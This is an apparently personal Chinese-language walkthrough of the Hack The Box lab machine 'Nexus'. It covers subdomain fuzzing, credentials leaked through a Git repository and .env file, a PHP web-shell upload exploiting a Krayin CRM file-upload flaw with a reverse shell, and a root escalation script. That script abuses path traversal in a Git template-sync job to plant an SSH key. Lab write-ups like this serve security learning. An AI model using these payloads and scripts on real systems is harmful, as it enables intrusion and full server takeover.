(HTB)0x3-Nexus

Task1

How many open TCP ports are listening on Nexus?

2個

1
2
3
4
5
6
7
8
9
10
11
(base) PS C:\Users\1984l\OneDrive\桌面> nmap -sV -Pn 10.129.106.93
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-02 23:08 +0800
Stats: 0:00:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 23:08 (0:00:07 remaining)
Nmap scan report for 10.129.106.93
Host is up (1.1s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Task2

What is the hiring manager’s full email address?

57fa5576-5415-4d13-bc1b-34dc73aa71af.png

j.matthew@nexus.htb

Task3

What is the name of the additional subdomain hosting the Git service discovered during enumeration of nexus.htb?

hint: Enumerate the virtual hosts exposed by the web application to find one that hosts a self-managed Git service.

先在ubuntu上加上nexus的host , 解決重定向問題:

1
sudo vim /etc/hosts

加上:

1
10.129.108.95 nexus.htb

dirsearch沒掃出什麼東西 , 鼠鼠看了官方wp是用fuff來掃前綴 , 先下載bitquark-subdomains-top100000.txt 是 SecLists 裡常見的子網域字典

apt install :

1
2
sudo apt update
sudo apt install seclists

git clone :

1
2
cd ~
git clone https://github.com/danielmiessler/SecLists.git

子網域放在 /SecLists/Discovery/DNS

其實我不是很懂為什麼要fuzz前綴 , 可能是網站首頁沒東西,就開始找同一台伺服器上還藏了哪些網站

然後是用ffuf來測試一下: -fw 4 是过滤4 指沒用的結果。

1
ffuf -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -fw 4
80f5aafea377e99d0ccf2986691fe0f3.png

可以看見還有git 是200的 , 鼠鼠上gitea看看 , 在/etc/hosts加上 git.nexus.htb , 這樣:

window都加上(略看(0x0)[https://ghsc223311.github.io/ghsc_ovo_0721/HTB-0x0-%E9%97%9C%E6%96%BC%E4%B8%80%E4%BA%9B%E5%95%8F%E9%A1%8C/]): 再加上billing的 , (圖中略了)

391183c2-cf6a-4bdc-8886-8042c3ee2841.png c7f6ef4b-eb17-4eeb-95f1-0bd8914a7e3e.png

答案是git。

Task4

What is the DB_PASSWORD discovered while enumerating the exposed repository?

找到了:

0542790a-02aa-4da1-9c8c-51750e9bbc15.png

password有可能在.env上:

faf3eb1b-b937-4c98-ad1c-8aeaa7521269.png

找到了git的提交記錄:

05d03983-c3ef-4228-bc69-1cac014ba861.png
1
2
3
4
5
6
DB_HOST=krayin-mysql
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04
MAIL_FROM_ADDRESS=laravel@krayincrm.com

Task5

What version of Krayin CRM is running on the billing subdomain?

hint : After authentication, enumerate the application for the running version.

Krayin是在billing上的 ,

45aca749-94c3-4a19-abcd-a46bdd7426b3.png

鼠鼠在這卡了很久 , 一直不知道原來用錯email了 , 一直以為是laravel@krayincrm.com(是系統寄信時顯示的寄件者地址) , 但經GPT6大人的引導發現是之前一開始的emal , j.matthew@nexus.htb

可以在Dashboard上看到: version 2.2.0

截图

Task6

What CVE affects Krayin CRM version 2.2.0, allowing unrestricted PHP file upload leading to remote code execution?

3638e87c-977c-4b35-b082-4da0e17ad40a.png

CVE-2026-38526 :

是一個經過身份驗證的任意檔案上傳漏洞,可直接導致遠端程式碼執行。它通常與CWE-434(不受限制地上傳危險類型的檔案)相對應。

漏洞端點:

POST /admin/tinymce/upload

此介面接受媒體上傳,以便在管理介面中進行富文本編輯。核心問題在於,據報告,伺服器端邏輯沒有強制執行嚴格的安全文件類型允許列表,並將上傳的文件儲存在可透過 HTTP 存取的位置。

這一點至關重要,因為當伺服器能夠解析上傳的內容時,上傳行為就會變得危險。例如,攻擊者可以上傳PHP文件,然後直接請求該文件,導致伺服器執行其中的程式碼。

CVE_link

Task7

What is the password for jones discovered during post-exploitation?

Enumerate configuration files and look for reused credentials.

可以在github上找一找有沒有相關的poc , CVE-2026-38526_poc

b4e35134-101f-4b3c-89d0-a5bd4e43c181.png

用BP來抓一下包: 記得改回php

b16451f2-72fe-44f6-8281-dbf090e87b71.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /admin/tinymce/upload HTTP/1.1
Host: billing.nexus.htb
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDy7zFspCLuHtHMsE
Accept: */*
Origin: http://billing.nexus.htb
Referer: http://billing.nexus.htb/admin/mail/inbox
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6ImZEWDlaeFhiU0wwOWw3VVE2Qy9aNkE9PSIsInZhbHVlIjoiS1FENTVHNkZWbGJMbzlGdEFZMUtyUks5bGxsVnRHcTNFa3ZydHg2K3NvVngyRzhSaVB2TmdsYjdLY1lyaFpodnZvaWVUYndqaE14cG1YUWtkYzZaM0NFWFdtYk9GdC8yZDRhQVNLdDlGekd5ejZSRnVmRTNpQk1xelRpNEpsOVIiLCJtYWMiOiI5OGZjOWU0ZDBjMmRkM2I0MjQwZTg1Y2NiOWYyYzYxODZjNmFhOGEyM2E5ZmFiZmI1ODk3OTM5NjNkYzlmOTVmIiwidGFnIjoiIn0%3D; krayin_crm_session=eyJpdiI6IldBM1VobEE5REZnclBsYnBEOUMycHc9PSIsInZhbHVlIjoiZStFRzVnQjc4V05MUERRSkd3ZGtzYTZnbzM2V2luSnpiM3Y4OFBOVWFrdFk4cXowOFVEQ01NMHkzcHZsUkJvZ3FWM3IrQ3JXWXZRQlFsZGRjRE5HRzBwQW9oWFBXNGNUYVV0eTRjRC9naFd4YWVQM1F6aDR5OWJ6ZEQxWTZKczQiLCJtYWMiOiI4YTRmMzRmMTkzOGMxZGRmZDVlZWRlMDczZTYxZTNhNDcyYTBiNDk5NTA0MmY5ZDM2YzRlN2E3NjE1ZjhjZjZmIiwidGFnIjoiIn0%3D
Connection: keep-alive

------WebKitFormBoundaryDy7zFspCLuHtHMsE
Content-Disposition: form-data; name="_token"

js5e3p5Y3fVUj9h1eD2uG2iHQWudsxs5RIVc8qbg
------WebKitFormBoundaryDy7zFspCLuHtHMsE
Content-Disposition: form-data; name="file"; filename="blobid1788622975334.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryDy7zFspCLuHtHMsE--

回傳了:

1
2
3
4
5
{
"location":
"http:\/\/billing.nexus.htb\/storage\/tinymce\/a03547b4e118247261ab1271fafdf861.php"

}

/storage/tinymce/a03547b4e118247261ab1271fafdf861.php

http://billing.nexus.htb/storage/tinymce/c8e7d65c13daadc5b00d38bf1ace1061.php

沒回顯 , 找一個好用的poc , poc

c9706dc2-9d6c-4993-a390-b51abfefc447.png

http://billing.nexus.htb/storage/tinymce/f74a8fb492bf25d11e285f97b77f1124.php

反彈shell:

1
ncat -lnvp 4455
6dace8fd-c2bc-476b-9e45-711276518276.png

彈不了 , 沒改ip port , 改一下: 參考一下

7116508d-d476-4e6f-94c5-b621f4f4265c.png

發多一下:

http://billing.nexus.htb/storage/tinymce/f07fa8b85cdd3a1bf4dd736b41c88ce4.php

連進去辣!!!!!

1
2
3
4
5
6
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
16:16:14 up 3:05, 0 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

在window上反彈的shell有問題 , 改用wsl 來反彈 , 有問題可以參考一下0x0

http://billing.nexus.htb/storage/tinymce/ae5e8730a56395c1a28ffcf8101db8c9.php

可以參考0x0上的把4455 ->4455:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@nexus:/home$ cd ~/krayin
cd ~/krayin
www-data@nexus:~/krayin$ ls
ls
CODE_OF_CONDUCT.md artisan database phpunit.xml storage
LICENSE bootstrap example.txt pint.json tests
README.md composer.json lang public vendor
UPGRADE.md composer.lock package.json resources vite.config.js
app config packages routes
www-data@nexus:~/krayin$ ls -a
ls -a
. CODE_OF_CONDUCT.md composer.json packages tests
.. LICENSE composer.lock phpunit.xml vendor
.editorconfig README.md config pint.json vite.config.js
.env UPGRADE.md database public
.env.example app example.txt resources
.gitattributes artisan lang routes
.gitignore bootstrap package.json storage

找到.env了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

VITE_HOST=
VITE_PORT=

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com

MAIL_RECEIVER_DRIVER=sendgrid

IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

答案是: y27xb3ha!!74GbR

1
2
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

看看/etc/passwd 有什麼user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:999:988::/var/log/laurel:/bin/false
jones:x:1000:1000:,,,:/home/jones:/bin/bash
mysql:x:110:111:MySQL Server,,,:/nonexistent:/bin/false
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
www-data@nexus:~/krayin$

Task7

可以看見jones , 以jones為目標:

1
2
3
4
5
6
7
8
9
10
11
12
www-data@nexus:~/krayin$ ssh jones@10.129.109.158
ssh jones@10.129.109.158
The authenticity of host '10.129.109.158 (10.129.109.158)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
jones@10.129.109.158's password: y27xb3ha!!74GbR

Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

找一找user.txt:

1
2
3
jones@nexus:~$ cat user.txt
cat user.txt
a257cee3feab86ca1bd2cfba87706c8b

user flag : a257cee3feab86ca1bd2cfba87706c8b


Task9

What systemd timer triggers the template synchronization service?

介紹

下一步就是要提權了 , 先在systemctl timer上看看有沒有什麼定時任務!

可以用查看: systemctl list-timers --all --no-pager --full

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
jones@nexus:~$ systemctl list-timers --all --no-pager --full
systemctl list-timers --all --no-pager --full
NEXT LEFT LAST PASSED UNIT ACTIVATES
Sun 2026-09-06 08:02:12 UTC 33s Sun 2026-09-06 08:01:12 UTC 26s ago gitea-template-sync.timer gitea-template-sync.service
Sun 2026-09-06 08:05:09 UTC 3min 29s Sun 2026-09-06 07:00:27 UTC 1h 1min ago fwupd-refresh.timer fwupd-refresh.service
Sun 2026-09-06 08:09:00 UTC 7min Sun 2026-09-06 07:39:01 UTC 22min ago phpsessionclean.timer phpsessionclean.service
Sun 2026-09-06 08:10:00 UTC 8min Sun 2026-09-06 08:00:01 UTC 1min 38s ago sysstat-collect.timer sysstat-collect.service
Sun 2026-09-06 09:15:42 UTC 1h 14min Mon 2025-03-31 16:38:00 UTC - apt-daily.timer apt-daily.service
Sun 2026-09-06 12:39:36 UTC 4h 37min Sun 2026-09-06 07:11:36 UTC 50min ago motd-news.timer motd-news.service
Sun 2026-09-06 14:06:10 UTC 6h Thu 2026-04-23 18:33:27 UTC - man-db.timer man-db.service
Mon 2026-09-07 00:00:00 UTC 15h Sun 2026-09-06 04:44:51 UTC 3h 16min ago dpkg-db-backup.timer dpkg-db-backup.service
Mon 2026-09-07 00:00:00 UTC 15h Sun 2026-09-06 04:44:51 UTC 3h 16min ago logrotate.timer logrotate.service
Mon 2026-09-07 00:07:00 UTC 16h - - sysstat-summary.timer sysstat-summary.service
Mon 2026-09-07 01:29:26 UTC 17h Sun 2026-09-06 06:01:56 UTC 1h 59min ago fstrim.timer fstrim.service
Mon 2026-09-07 04:49:50 UTC 20h Sun 2026-09-06 04:49:50 UTC 3h 11min ago update-notifier-download.timer update-notifier-download.service
Mon 2026-09-07 04:59:50 UTC 20h Sun 2026-09-06 04:59:50 UTC 3h 1min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Mon 2026-09-07 06:00:00 UTC 21h Sun 2026-09-06 06:46:08 UTC 1h 15min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2026-09-07 17:43:03 UTC 1 day 9h Mon 2026-03-23 10:50:29 UTC - update-notifier-motd.timer update-notifier-motd.service
Sun 2026-09-13 03:10:11 UTC 6 days Sun 2026-09-06 04:45:04 UTC 3h 16min ago e2scrub_all.timer e2scrub_all.service
- - - - apport-autoreport.timer apport-autoreport.service
- - - - snapd.snap-repair.timer snapd.snap-repair.service
- - - - ua-timer.timer ua-timer.service

19 timers listed.

有一個一分鐘的gitea template sync.service ,

一會上gitea去看看

答案是: gitea-template-sync.service

last Task

Submit the flag located in the root user’s home directory.

用這腳本的對象是root :

1
2
3
4
systemctl cat gitea-template-sync.timer 
systemctl cat gitea-template-sync.service
ls -l /etc/systemd/system/gitea-template-sync.*
ls -l /usr/lib/systemd/system/gitea-template-sync.*
51a0ca3b-37a7-4e70-82b0-d4f0c72f8dca.png

去etc上找找gitera :

05cdaaae-1c08-443d-ac4d-019373ff0b6e.png

沒有w的限權 , 要root

1
2
3
4
5
6
7
8
9
10
11
jones@nexus:/etc/gitea$ ls
ls
app.ini template-sync.conf template-sync.py
jones@nexus:/etc/gitea$ ls -la
ls -la
total 24
drwxr-xr-x 2 root git 4096 May 12 18:37 .
drwxr-xr-x 114 root root 4096 May 12 12:21 ..
-rw-r----- 1 git git 1586 May 12 18:37 app.ini
-rw-r----- 1 git git 89 May 11 16:50 template-sync.conf
-rw-r--r-- 1 git git 4184 May 11 18:47 template-sync.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
ts = time.strftime("%Y-%m-%d %H:%M:%S")
line = "[%s] %s" % (ts, msg)
print(line, flush=True)
try:
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
with open(LOG_FILE, 'a') as f:
f.write(line + '\n')
except:
pass

def load_config():
config = {}
for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
try:
with open(path) as f:
for line in f:
line = line.strip()
if line and not line.startswith('#') and '=' in line:
k, v = line.split('=', 1)
config[k.strip()] = v.strip()
except:
pass
return config

def get_token():
cfg = load_config()
return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
req = urllib.request.Request(url, headers={
'Authorization': 'token %s' % token
})
try:
with urllib.request.urlopen(req) as resp:
data = json.loads(resp.read())
repos = data.get('data', data) if isinstance(data, dict) else data
return [r for r in repos if r.get('template', False)]
except Exception as e:
log("API error: %s" % e)
return []

def sync_template(repo_info):
owner = repo_info['owner']['login']
name = repo_info['name'].lower()
bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
stage_path = os.path.join(STAGING_DIR, owner, name)

if not os.path.isdir(bare_path):
log(" repo not found: %s" % bare_path)
return

# Read tree entries from the bare repository
try:
GIT = ['git', '-c', 'safe.directory=*']
result = subprocess.run(
GIT + ['ls-tree', '-r', 'HEAD'],
cwd=bare_path,
capture_output=True, text=True, timeout=10
)
if result.returncode != 0:
log(" ls-tree failed: %s" % result.stderr.strip())
return
except Exception as e:
log(" ls-tree error: %s" % e)
return

entries = []
for line in result.stdout.strip().split('\n'):
if not line:
continue
parts = line.split('\t', 1)
if len(parts) != 2:
continue
meta, filepath = parts
mode, objtype, objhash = meta.split()
if objtype == 'blob':
entries.append((mode, objhash, filepath))

if not entries:
log(" no files in template")
return

# Extract files to staging directory
for mode, objhash, filepath in entries:
target = os.path.join(stage_path, filepath)
target_dir = os.path.dirname(target)

try:
os.makedirs(target_dir, exist_ok=True)
GIT = ['git', '-c', 'safe.directory=*']
cat_result = subprocess.run(
GIT + ['cat-file', 'blob', objhash],
cwd=bare_path,
capture_output=True, timeout=10
)
if cat_result.returncode != 0:
continue

with open(target, 'wb') as f:
f.write(cat_result.stdout)

if mode == '100755':
os.chmod(target, 0o755)
else:
os.chmod(target, 0o644)

log(" synced: %s" % filepath)
except Exception as e:
log(" error syncing %s: %s" % (filepath, e))

def main():
log("Template sync starting")

token = get_token()
if not token:
log("No API token found")
sys.exit(1)

templates = get_template_repos(token)
log("Found %d template repo(s)" % len(templates))

for repo in templates:
name = repo['full_name']
log("Syncing template: %s" % name)
sync_template(repo)

log("Template sync complete")

if __name__ == '__main__':
main()

它會複製所有範本倉庫,

並將它們的檔案內容同步到 /home/git/template-staging/<owner>/<repo>/ 目錄。

它處理來自 git ls-tree 的檔案路徑的方式——它直接對原始檔案路徑使用 os.path.join(),而沒有對目錄遍歷序列進行清理。

登入gitea:

1
2
j.matthew@nexus.htb
y27xb3ha!!74GbR

create a new repository for rce : 儲存庫就叫rce吧ww

c108e1ff-b1bd-4156-a1bd-2ba9877e11b6.png

老實說這種提權我還是第一次見 , 沒學過這種。

大概是利用ssh , 把攻击者的公钥写入 /root/.ssh/authorized_keys,这样攻击者就能直接免密登录 root。

先在生成ssh公金鑰:

1
ssh-keygen -t ed25519 -f /tmp/.k -N ''

已經建立了rce的庫了, 參考一下了官方的腳本:

1
2
3
4
$ cd /tmp
$ git -c http.extraHeader="Host: git.nexus.htb" clone http://jones:'y27xb3ha!!74GbR'@127.0.0.1/jones/rce.git
$ cd rce
$ touch README.md

build.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# build.py
#!/usr/bin/env python3
import hashlib,zlib,os,subprocess,sys,time
def write_obj(data,t):
h=("%s %d"%(t,len(data))).encode()+b"\x00"
s=h+data
sha=hashlib.sha1(s).hexdigest()
d=os.path.join(".git","objects",sha[:2])
os.makedirs(d,exist_ok=True)
p=os.path.join(d,sha[2:])
if not os.path.exists(p):
open(p,"wb").write(zlib.compress(s))
return sha
def entry(mode,name,sha):
return("%s %s"%(mode,name)).encode()+b"\x00"+bytes.fromhex(sha)
if not os.path.isdir(".git"):
print("Run inside git repo");sys.exit(1)
r=subprocess.run(["cat","/tmp/.k.pub"],capture_output=True,text=True)
if r.returncode!=0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''");sys.exit(1)
key=r.stdout.strip()+"\n"
blob=write_obj(key.encode(),"blob")
readme=write_obj(b"# Template\n","blob")
ssh_t=write_obj(entry("100644","authorized_keys",blob),"tree")
cur=write_obj(entry("40000",".ssh",ssh_t),"tree")
fir=write_obj(entry("40000","root",cur),"tree")
for i in range(4):
fir=write_obj(entry("40000","..",fir),"tree")
root=write_obj(entry("100644","README.md",readme)+entry("40000","..",fir),"tree")
ts=int(time.time())
c="tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\n\ninit\n"%(root,ts,ts)
sha=write_obj(c.encode(),"commit")
os.makedirs(os.path.join(".git","refs","heads"),exist_ok=True)
open(os.path.join(".git","refs","heads","main"),"w").write(sha+"\n")
print("Done: "+sha)

用cat ><<加上去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
cat > /tmp/rce/build.py << 'EOF'
#!/usr/bin/env python3
import hashlib, zlib, os, subprocess, sys, time

def write_obj(data, t):
h = ("%s %d" % (t, len(data))).encode() + b"\x00"
s = h + data
sha = hashlib.sha1(s).hexdigest()
d = os.path.join(".git", "objects", sha[:2])
os.makedirs(d, exist_ok=True)
p = os.path.join(d, sha[2:])
if not os.path.exists(p):
open(p, "wb").write(zlib.compress(s))
return sha

def entry(mode, name, sha):
return ("%s %s" % (mode, name)).encode() + b"\x00" + bytes.fromhex(sha)

if not os.path.isdir(".git"):
print("Run inside git repo")
sys.exit(1)

r = subprocess.run(["cat", "/tmp/.k.pub"], capture_output=True, text=True)
if r.returncode != 0:
print("ssh-keygen -t ed25519 -f /tmp/.k -N ''")
sys.exit(1)

key = r.stdout.strip() + "\n"
blob = write_obj(key.encode(), "blob")
readme = write_obj(b"# Template\n", "blob")
ssh_t = write_obj(entry("100644", "authorized_keys", blob), "tree")
cur = write_obj(entry("40000", ".ssh", ssh_t), "tree")
fir = write_obj(entry("40000", "root", cur), "tree")
for i in range(4):
fir = write_obj(entry("40000", "..", fir), "tree")
root = write_obj(entry("100644", "README.md", readme) + entry("40000", "..", fir), "tree")
ts = int(time.time())
c = "tree %s\nauthor x <x@x> %d +0000\ncommitter x <x@x> %d +0000\ninit\n" % (root, ts, ts)
sha = write_obj(c.encode(), "commit")
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
open(os.path.join(".git", "refs", "heads", "main"), "w").write(sha + "\n")
print("Done: " + sha)
EOF

該腳本創建了一個 Git 樹結構,其中檔案路徑解析為

../../../../../root/.ssh/authorized_keys。循環創建了 4 層 .. 樹,根樹

新增了第 5 個 .. 條目,因此我們剛好需要遍歷 3 層才能從 /home/git/template-

staging/jones/rce/ 逃到 /root/

1
2
$ python3 build.py
$ git -c http.extraHeader="Host: git.nexus.htb" push -u origin main --force

現在等1min , 監控日誌以確認它是否從 template-sync.py 中指定的位置運行。

1
$ cat /var/log/template-sync.log

可以ssh root了

1
2
$ ssh -i /tmp/.k root@127.0.0.1
$ cat /root/root.txt
13f2e805-c4e0-41dc-8657-3661ec09841f.png